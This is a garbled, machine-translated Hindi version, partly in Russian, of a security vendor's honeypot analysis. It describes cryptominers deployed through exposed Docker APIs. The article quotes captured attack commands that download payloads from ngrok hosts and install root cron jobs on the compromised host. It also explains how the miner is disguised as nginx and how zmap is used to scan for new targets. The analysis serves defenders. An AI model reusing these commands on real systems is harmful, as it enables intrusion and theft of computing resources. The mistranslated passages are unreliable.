क्रिप्टोक्यूरेंसी खनिकों को वितरित करने के लिए गैर-मालिकाना डॉकर एपीआई और समुदाय से सार्वजनिक छवियों का उपयोग कैसे किया जा रहा है

हमने हनीपोट कंटेनरों का उपयोग करके एकत्र किए गए डेटा का विश्लेषण किया, जिसे हमने खतरों को ट्रैक करने के लिए बनाया था। और हमने डॉकर हब पर समुदाय-प्रकाशित छवि का उपयोग करके दुष्ट कंटेनरों के रूप में तैनात अवांछित या अनधिकृत क्रिप्टोकरेंसी खनिकों की महत्वपूर्ण गतिविधि का पता लगाया। छवि का उपयोग उस सेवा के भाग के रूप में किया जाता है जो दुर्भावनापूर्ण क्रिप्टोकरेंसी खनिकों को वितरित करती है।

इसके अतिरिक्त, खुले पड़ोसी कंटेनरों और अनुप्रयोगों में प्रवेश करने के लिए नेटवर्क के साथ काम करने के लिए प्रोग्राम स्थापित किए जाते हैं।

हम अपने हनीपोट्स को वैसे ही छोड़ देते हैं, यानी डिफ़ॉल्ट सेटिंग्स के साथ, बिना किसी सुरक्षा उपाय या बाद में अतिरिक्त सॉफ़्टवेयर की स्थापना के। कृपया ध्यान दें कि त्रुटियों और सरल कमजोरियों से बचने के लिए डॉकर के पास प्रारंभिक सेटअप के लिए सिफारिशें हैं। लेकिन उपयोग किए जाने वाले हनीपोट कंटेनर हैं, जिन्हें कंटेनरीकरण प्लेटफ़ॉर्म पर लक्षित हमलों का पता लगाने के लिए डिज़ाइन किया गया है, न कि कंटेनर के अंदर के अनुप्रयोगों का।

पता लगाई गई दुर्भावनापूर्ण गतिविधि इसलिए भी उल्लेखनीय है क्योंकि इसमें कमजोरियों की आवश्यकता नहीं है और यह डॉकर संस्करण से भी स्वतंत्र है। गलत तरीके से कॉन्फ़िगर की गई, और इसलिए खुली हुई, कंटेनर छवि ढूंढना ही वह सब कुछ है जो हमलावरों को कई खुले सर्वरों को संक्रमित करने के लिए चाहिए होता है।

अनक्लोज्ड डॉकर एपीआई उपयोगकर्ता को कई प्रकार के कार्य करने की अनुमति देता है टीमों, जिसमें चल रहे कंटेनरों की एक सूची प्राप्त करना, एक विशिष्ट कंटेनर से लॉग प्राप्त करना, शुरू करना, रोकना (मजबूर सहित) और यहां तक ​​कि निर्दिष्ट सेटिंग्स के साथ एक विशिष्ट छवि से एक नया कंटेनर बनाना शामिल है।

बाईं ओर मैलवेयर डिलीवरी विधि है। दाईं ओर हमलावर का वातावरण है, जो छवियों को दूरस्थ रूप से प्रदर्शित करने की अनुमति देता है।

3762 खुले डॉकर एपीआई का देश द्वारा वितरण। Shodan खोज दिनांक 12.02.2019/XNUMX/XNUMX पर आधारित

आक्रमण श्रृंखला और पेलोड विकल्प

न केवल हनीपोट्स की मदद से दुर्भावनापूर्ण गतिविधि का पता लगाया गया। शोडान के डेटा से पता चलता है कि उजागर डॉकर एपीआई (दूसरा ग्राफ़ देखें) की संख्या में वृद्धि हुई है क्योंकि हमने मोनेरो क्रिप्टोक्यूरेंसी खनन सॉफ़्टवेयर को तैनात करने के लिए एक पुल के रूप में उपयोग किए गए गलत कॉन्फ़िगर किए गए कंटेनर की जांच की है। पिछले साल अक्टूबर (2018) में, वर्तमान डेटा आप इस तरह दिख सकते हैं लगभग। अनुवादक) केवल 856 खुले एपीआई थे।

हनीपोट लॉग की जांच से पता चला कि कंटेनर छवि का उपयोग भी इसके उपयोग से जुड़ा था जादू करना, सुरक्षित कनेक्शन स्थापित करने या सार्वजनिक रूप से सुलभ बिंदुओं से निर्दिष्ट पते या संसाधनों (उदाहरण के लिए लोकलहोस्ट) तक ट्रैफ़िक अग्रेषित करने के लिए एक उपकरण। यह हमलावरों को खुले सर्वर पर पेलोड वितरित करते समय गतिशील रूप से यूआरएल बनाने की अनुमति देता है। एनग्रोक सेवा के दुरुपयोग को दर्शाने वाले लॉग से कोड उदाहरण नीचे दिए गए हैं:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

जैसा कि आप देख सकते हैं, अपलोड की गई फ़ाइलें लगातार बदलते URL से डाउनलोड की जाती हैं। इन यूआरएल की समाप्ति तिथि कम होती है, इसलिए समाप्ति तिथि के बाद पेलोड डाउनलोड नहीं किया जा सकता है।

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

ड्रॉपर स्क्रिप्ट दो वेरिएबल सेट करती है, जिनका उपयोग क्रिप्टोकरेंसी माइनर को तैनात करने के लिए किया जाता है। HOST वेरिएबल में वह URL होता है जहां दुर्भावनापूर्ण फ़ाइलें स्थित होती हैं, और RIP वेरिएबल तैनात किए जाने वाले माइनर का फ़ाइल नाम (वास्तव में, हैश) होता है। हर बार हैश वेरिएबल बदलने पर HOST वेरिएबल बदल जाता है। स्क्रिप्ट यह जांचने का भी प्रयास करती है कि हमलावर सर्वर पर कोई अन्य क्रिप्टोकरेंसी खनिक नहीं चल रहा है।

HOST और RIP वैरिएबल के उदाहरण, साथ ही एक कोड स्निपेट का उपयोग यह जांचने के लिए किया जाता है कि कोई अन्य खनिक नहीं चल रहा है

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

खोज स्क्रिप्ट में विशेषताएं भी हैं. यह आवश्यक टूल तैनात करने के लिए समान URL सेवा के साथ काम करता है। उनमें से ज़मैप बाइनरी है, जिसका उपयोग नेटवर्क को स्कैन करने और खुले बंदरगाहों की सूची प्राप्त करने के लिए किया जाता है। स्क्रिप्ट एक अन्य बाइनरी भी लोड करती है जिसका उपयोग मिली हुई सेवाओं के साथ इंटरैक्ट करने और मिली हुई सेवा (उदाहरण के लिए, इसका संस्करण) के बारे में अतिरिक्त जानकारी निर्धारित करने के लिए उनसे बैनर प्राप्त करने के लिए किया जाता है।

स्क्रिप्ट स्कैन करने के लिए कुछ नेटवर्क रेंज भी पूर्व-निर्धारित करती है, लेकिन यह स्क्रिप्ट के संस्करण पर निर्भर करता है। यह स्कैन चलाने से पहले सेवाओं से लक्ष्य पोर्ट भी सेट करता है - इस मामले में, डॉकर।

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, कुबेरनेट्स मास्टर, डॉकर 1.16 क्लाइंट और अपाचे काउचडीबी। यदि स्कैन किया गया सर्वर उनमें से किसी से मेल खाता है, तो इसे एक टेक्स्ट फ़ाइल में सहेजा जाता है, जिसे हमलावर बाद में विश्लेषण और हैकिंग के लिए उपयोग कर सकते हैं। ये टेक्स्ट फ़ाइलें डायनामिक लिंक के माध्यम से हमलावरों के सर्वर पर अपलोड की जाती हैं। यानी, प्रत्येक फ़ाइल के लिए एक अलग यूआरएल का उपयोग किया जाता है, जिसका अर्थ है कि बाद में पहुंच मुश्किल है।

आक्रमण वेक्टर एक डॉकर छवि है, जैसा कि कोड के अगले दो टुकड़ों में देखा जा सकता है।

शीर्ष पर एक वैध सेवा का नाम बदलना है, और सबसे नीचे यह है कि नेटवर्क को स्कैन करने के लिए zmap का उपयोग कैसे किया जाता है

शीर्ष पर पूर्वनिर्धारित नेटवर्क रेंज हैं, नीचे डॉकर सहित सेवाओं की खोज के लिए विशिष्ट पोर्ट हैं

स्क्रीनशॉट से पता चलता है कि अल्पाइन-कर्ल छवि को 10 मिलियन से अधिक बार डाउनलोड किया गया है

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать डोकर छवि. जैसा कि आप पिछली छवि में देख सकते हैं, इस छवि को पहले ही 10 मिलियन से अधिक बार डाउनलोड किया जा चुका है। बड़ी संख्या में डाउनलोड का मतलब इस छवि को प्रवेश बिंदु के रूप में उपयोग करना हो सकता है; इस छवि को छह महीने से अधिक समय पहले अपडेट किया गया था; उपयोगकर्ताओं ने इस रिपॉजिटरी से अन्य छवियों को अक्सर डाउनलोड नहीं किया। डोकर में प्रवेश बिंदु - किसी कंटेनर को चलाने के लिए कॉन्फ़िगर करने के लिए उपयोग किए जाने वाले निर्देशों का एक सेट। यदि प्रवेश बिंदु सेटिंग्स गलत हैं (उदाहरण के लिए, कंटेनर को इंटरनेट से खुला छोड़ दिया गया है), तो छवि का उपयोग आक्रमण वेक्टर के रूप में किया जा सकता है। यदि हमलावरों को कोई गलत कॉन्फ़िगर किया हुआ या बिना समर्थित खुला कंटेनर मिलता है तो वे इसका उपयोग पेलोड पहुंचाने के लिए कर सकते हैं।

यह ध्यान रखना महत्वपूर्ण है कि यह छवि (अल्पाइन-कर्ल) स्वयं दुर्भावनापूर्ण नहीं है, लेकिन जैसा कि आप ऊपर देख सकते हैं, इसका उपयोग दुर्भावनापूर्ण कार्य करने के लिए किया जा सकता है। इसी तरह की डॉकर छवियों का उपयोग दुर्भावनापूर्ण गतिविधियों को करने के लिए भी किया जा सकता है। हमने डॉकर से संपर्क किया और इस मुद्दे पर उनके साथ काम किया।

अनुशंसाएँ

ग़लत सेटिंग अवशेष लगातार समस्या कई कंपनियों के लिए, विशेषकर कार्यान्वयन करने वाली कंपनियों के लिए DevOps, तेजी से विकास और वितरण पर ध्यान केंद्रित किया। ऑडिटिंग और निगरानी नियमों का पालन करने की आवश्यकता, डेटा गोपनीयता की निगरानी करने की आवश्यकता, साथ ही उनके गैर-अनुपालन से होने वाली भारी क्षति से सब कुछ बढ़ गया है। विकास जीवनचक्र में सुरक्षा स्वचालन को शामिल करने से न केवल आपको उन सुरक्षा खामियों को ढूंढने में मदद मिलती है जो अन्यथा पता नहीं चल पाती हैं, बल्कि यह आपको अनावश्यक कार्यभार को कम करने में भी मदद करता है, जैसे किसी एप्लिकेशन को तैनात करने के बाद प्रत्येक खोजी गई भेद्यता या गलत कॉन्फ़िगरेशन के लिए अतिरिक्त सॉफ़्टवेयर बिल्ड चलाना।

इस लेख में चर्चा की गई घटना शुरू से ही सुरक्षा को ध्यान में रखने की आवश्यकता पर प्रकाश डालती है, जिसमें निम्नलिखित सिफारिशें भी शामिल हैं:

• सिस्टम प्रशासकों और डेवलपर्स के लिए: यह सुनिश्चित करने के लिए हमेशा अपनी एपीआई सेटिंग्स की जांच करें कि सब कुछ केवल एक विशिष्ट सर्वर या आंतरिक नेटवर्क से अनुरोध स्वीकार करने के लिए कॉन्फ़िगर किया गया है।
• कम से कम अधिकारों के सिद्धांत का पालन करें: सुनिश्चित करें कि कंटेनर छवियां हस्ताक्षरित और सत्यापित हैं, महत्वपूर्ण घटकों (कंटेनर लॉन्च सेवा) तक पहुंच सीमित करें और नेटवर्क कनेक्शन में एन्क्रिप्शन जोड़ें।
• का पालन करें सिफारिशों और सुरक्षा तंत्र सक्षम करें, उदा. डॉकर से और अंतर्निर्मित सुरक्षा विशेषताएं.
• कंटेनर में चल रही प्रक्रियाओं के बारे में अतिरिक्त जानकारी प्राप्त करने के लिए रनटाइम और छवियों की स्वचालित स्कैनिंग का उपयोग करें (उदाहरण के लिए, स्पूफिंग का पता लगाने या कमजोरियों की खोज करने के लिए)। एप्लिकेशन नियंत्रण और अखंडता निगरानी सर्वर, फ़ाइलों और सिस्टम क्षेत्रों में असामान्य परिवर्तनों को ट्रैक करने में मदद करती है।

ट्रेंडमाइक्रो DevOps टीमों को सुरक्षित रूप से निर्माण करने, शीघ्रता से रोल आउट करने और कहीं भी लॉन्च करने में मदद करता है। ट्रेंड माइक्रो हाइब्रिड क्लाउड सुरक्षा किसी संगठन की DevOps पाइपलाइन में शक्तिशाली, सुव्यवस्थित और स्वचालित सुरक्षा प्रदान करता है और कई खतरों से सुरक्षा प्रदान करता है एक्सजेन रनटाइम के दौरान भौतिक, आभासी और क्लाउड वर्कलोड की सुरक्षा के लिए। यह कंटेनर सुरक्षा भी जोड़ता है गहरी सुरक्षा и गहन सुरक्षा स्मार्ट जाँच, जो विकास पाइपलाइन में किसी भी बिंदु पर मैलवेयर और कमजोरियों के लिए डॉकर कंटेनर छवियों को स्कैन करता है ताकि खतरों को तैनात होने से पहले रोका जा सके।

समझौते के संकेत

संबंधित हैश:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

पर डॉकर वीडियो कोर्स अभ्यास करने वाले वक्ता बताते हैं कि ऊपर वर्णित स्थिति की संभावना को कम करने या पूरी तरह से बचने के लिए पहले कौन सी सेटिंग्स करने की आवश्यकता है। और 19-21 अगस्त को एक ऑनलाइन गहन कार्यक्रम में DevOps उपकरण और धोखा देती है आप इन और इसी तरह की सुरक्षा समस्याओं पर सहकर्मियों और अभ्यास करने वाले शिक्षकों के साथ एक गोल मेज पर चर्चा कर सकते हैं, जहां हर कोई अनुभवी सहयोगियों के दर्द और सफलताओं के बारे में बात कर सकता है और सुन सकता है।

स्रोत: www.habr.com